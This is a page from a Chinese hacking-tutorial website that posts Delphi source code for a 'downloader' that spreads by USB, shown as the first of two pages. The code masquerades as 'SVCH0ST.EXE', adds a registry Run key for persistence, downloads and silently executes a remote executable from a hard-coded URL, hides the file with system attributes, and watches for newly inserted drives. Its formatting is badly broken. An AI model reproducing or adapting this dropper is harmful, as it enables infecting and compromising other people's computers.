黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[推荐]下载者U盘传染源码
        ★★★★★
下载者U盘传染源码
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-23

unit Un_Main;


interface


uses
     Windows
MessagesSysUtils,Forms,IniFiles
;
type
     TFrm_Main 
= class(TForm
)
     
procedure FormCreate(SenderTObject
);
     
procedure FormClose(SenderTObject; var ActionTCloseAction
);
     
private
     procedure WMDeviceChange
(var MsgTMessage); message WM_DEVICECHANGE
;
     
public
     
Public declarations 
}
     
end
;
const 
         
exefile 'SVCH0ST.EXE'
;
         
Buffer 'http://www.888.com/hello.exe'
;
         
DBT_DEVICEARRIVAL = $8000;     
// system detected a new device
         
DBT_DEVICEREMOVECOMPLETE = $8004;     
// device is gone
         
DBT_DEVTYP_VOLUME = $00000002;     
// logical volume
         
DBTF_MEDIA = $0001;     
// media comings and goings
type
    PDEV_BROADCAST_HDR 
= ^TDEV_BROADCAST_HDR
;
    
TDEV_BROADCAST_HDR 
packed record
     dbch_size 
DWORD
;
     
dbch_devicetype DWORD
;
     
dbch_reserved DWORD
;
    
end
;
     
PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME
;
     
TDEV_BROADCAST_VOLUME 
packed record
         dbcv_size 
DWORD
;
         
dbcv_devicetype DWORD
;
         
dbcv_reserved DWORD
;
         
dbcv_unitmask DWORD
;
         
dbcv_flags WORD
;
     
end
;


function 
UrlDownLoadToFile(Caller,URL,FileNamePAnsiChar;ReservedLongWord
;
                                     
StatusCBPointer): LongWord
;
                                     
stdcallexternal 'URLMON.DLL' name 'URLDownloadToFileA'
;


function 
WinExec(lpCmdlinePAnsiCharuCmdShowLongWord): LongWord
;
                         
stdcallexternal 'kernel32.dll' name 'WinExec'
;


var
     
Frm_MainTFrm_Main
;
     
exefull:string
;
implementation


{$R *.dfm
}


function 
SetRegValue(key:Hkeysubkey,name,value:string):boolean
;
var
regkey:hkey
;
begin
     result 
:= false
;
     
RegCreateKey(key,PChar(subkey),regkey
);
     if 
RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 
0 then
     result 
:= true
;
     
RegCloseKey(regkey
);
end
;


procedure Startup(var TheName:string
);
begin
     SetRegValue
(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run','SVCH0ST',TheName
);
     
UrlDownloadToFile(nilPChar(Buffer), PChar(TheName), 0nil
);
     
SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
);
     
messagebox(0,'文件下载成功!','成功',MB_OK
);
     
WinExec(PChar(TheName), SW_SHOWDEFAULT
);
     
//Sleep(500);
     //DeleteMe;
     //freemem(@path,256);
end
;


[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886